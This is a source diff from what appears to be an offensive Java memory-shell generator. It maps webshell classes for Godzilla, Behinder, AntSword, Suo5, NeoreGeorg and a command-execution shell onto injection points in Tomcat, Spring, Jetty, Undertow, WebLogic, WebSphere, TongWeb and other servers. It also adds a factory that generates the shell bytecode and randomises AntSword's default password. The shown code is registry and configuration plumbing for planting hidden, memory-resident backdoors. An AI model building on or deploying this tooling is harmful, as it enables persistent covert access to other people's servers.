.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
||||||
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, BehinderServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
|
||||||
|
.addShellClass(FILTER, BehinderFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
||||||
|
.addShellClass(LISTENER, BehinderListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
||||||
|
.addShellClass(VALVE, BehinderValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Behinder.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, AntSwordServlet.class)
|
||||||
|
.addShellClass(FILTER, AntSwordFilter.class)
|
||||||
|
.addShellClass(LISTENER, AntSwordListener.class)
|
||||||
|
.addShellClass(VALVE, AntSwordValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, AntSword.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
||||||
|
.addShellClass(FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
||||||
|
.addShellClass(LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
||||||
|
.addShellClass(VALVE, CommandValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Command.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||||
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, Suo5Servlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
||||||
|
.addShellClass(FILTER, Suo5Filter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
||||||
|
.addShellClass(LISTENER, Suo5Listener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
||||||
|
.addShellClass(VALVE, Suo5Valve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Suo5.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
|
||||||
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, NeoreGeorgServlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
|
||||||
|
.addShellClass(FILTER, NeoreGeorgFilter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
|
||||||
|
.addShellClass(LISTENER, NeoreGeorgListener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
|
||||||
|
.addShellClass(VALVE, NeoreGeorgValve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
|
.build());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
||||||
|
if (serverName == null || serverName.trim().isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("Server name cannot be null or empty.");
|
||||||
|
}
|
||||||
|
Supplier<AbstractServer> existing = registry.putIfAbsent(serverName, shellSupplier);
|
||||||
|
if (existing == null) {
|
||||||
|
servers.add(serverName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static AbstractServer getServer(String serverName) {
|
||||||
|
if (serverName == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return instances.computeIfAbsent(serverName, k -> {
|
||||||
|
Supplier<AbstractServer> supplier = registry.get(k);
|
||||||
|
if (supplier == null) {
|
||||||
|
throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'.");
|
||||||
|
}
|
||||||
|
return supplier.get();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
|
||||||
|
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
||||||
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
|
for (String supportedServer : supportedServers) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
|
InjectorMapping shellInjectorMapping = server.getShellInjectorMapping();
|
||||||
|
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
||||||
|
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
||||||
|
|
||||||
|
for (String shellType : injectorSupportedShellTypes) {
|
||||||
|
Class<?> shellClass = rawToolMapping.get(shellType);
|
||||||
|
if (shellClass == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||||
|
}
|
||||||
|
ToolMapping mapping = toolMappingBuilder.build();
|
||||||
|
if (mapping.isNotEmpty()) {
|
||||||
|
server.addToolMapping(shellTool, mapping);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<String> getSupportedServers() {
|
||||||
|
return Collections.unmodifiableList(servers);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/11
|
||||||
|
*/
|
||||||
|
public class ServerType {
|
||||||
|
public static final String TOMCAT = "Tomcat";
|
||||||
|
public static final String JETTY = "Jetty";
|
||||||
|
public static final String JBOSS_AS = "JBossAS";
|
||||||
|
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||||
|
public static final String UNDERTOW = "Undertow";
|
||||||
|
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||||
|
public static final String WILDFLY = "Wildfly";
|
||||||
|
public static final String RESIN = "Resin";
|
||||||
|
public static final String GLASSFISH = "Glassfish";
|
||||||
|
public static final String PAYARA = "Payara";
|
||||||
|
public static final String WEBLOGIC = "WebLogic";
|
||||||
|
public static final String WEBSPHERE = "WebSphere";
|
||||||
|
public static final String SPRING_WEBMVC = "SpringWebMVC";
|
||||||
|
public static final String SPRING_WEBFLUX = "SpringWebFlux";
|
||||||
|
public static final String XXL_JOB = "XXL-JOB";
|
||||||
|
public static final String APUSIC = "Apusic";
|
||||||
|
public static final String BES = "BES";
|
||||||
|
public static final String INFORSUITE = "InforSuite";
|
||||||
|
public static final String PRIMETON = "Primeton";
|
||||||
|
public static final String TONGWEB6 = "TongWeb6";
|
||||||
|
public static final String TONGWEB7 = "TongWeb7";
|
||||||
|
public static final String TONGWEB8 = "TongWeb8";
|
||||||
|
}
|
||||||
@@ -2,33 +2,14 @@ package com.reajason.javaweb.memshell;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/22
|
* @since 2025/8/22
|
||||||
*/
|
*/
|
||||||
public enum ShellTool {
|
public class ShellTool {
|
||||||
/**
|
public static final String Godzilla = "Godzilla";
|
||||||
* 哥斯拉
|
public static final String Behinder = "Behinder";
|
||||||
*/
|
public static final String Command = "Command";
|
||||||
Godzilla,
|
public static final String Suo5 = "Suo5";
|
||||||
|
public static final String AntSword = "AntSword";
|
||||||
/**
|
public static final String NeoreGeorg = "NeoreGeorg";
|
||||||
* 命令回显
|
public static final String Custom = "Custom";
|
||||||
*/
|
|
||||||
Command,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 冰蝎
|
|
||||||
*/
|
|
||||||
Behinder,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Suo5 隧道代理
|
|
||||||
*/
|
|
||||||
Suo5,
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 蚁剑
|
|
||||||
*/
|
|
||||||
AntSword,
|
|
||||||
|
|
||||||
;
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/08/22
|
||||||
|
*/
|
||||||
|
public class ShellToolFactory {
|
||||||
|
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
|
||||||
|
|
||||||
|
static {
|
||||||
|
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
|
||||||
|
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||||
|
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||||
|
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||||
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
|
if (shellToolName == null || shellToolName.trim().isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
|
||||||
|
}
|
||||||
|
instances.put(shellToolName, Pair.of(generatorClass, configClass));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
try {
|
||||||
|
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
|
||||||
|
Constructor<? extends ShellGenerator> constructor =
|
||||||
|
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
|
||||||
|
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
|
||||||
|
return generator.getBytes();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new GenerationException("shell generate failed " + e.getMessage(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -6,15 +6,18 @@ package com.reajason.javaweb.memshell;
|
|||||||
*/
|
*/
|
||||||
public class ShellType {
|
public class ShellType {
|
||||||
|
|
||||||
|
public static final String JAKARTA = "Jakarta";
|
||||||
public static final String SERVLET = "Servlet";
|
public static final String SERVLET = "Servlet";
|
||||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
|
||||||
public static final String FILTER = "Filter";
|
public static final String FILTER = "Filter";
|
||||||
public static final String JAKARTA_FILTER = "JakartaFilter";
|
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
|
||||||
public static final String LISTENER = "Listener";
|
public static final String LISTENER = "Listener";
|
||||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||||
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
|
|||||||
@@ -1,23 +1,51 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder
|
@SuperBuilder(toBuilder = true)
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
public class AntSwordConfig extends ShellToolConfig {
|
public class AntSwordConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String pass = "pass";
|
private String pass = CommonUtil.getRandomString(8);
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
public B pass(final String pass) {
|
||||||
|
if (StringUtils.isNotBlank(pass)) {
|
||||||
|
this.pass$value = pass;
|
||||||
|
pass$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||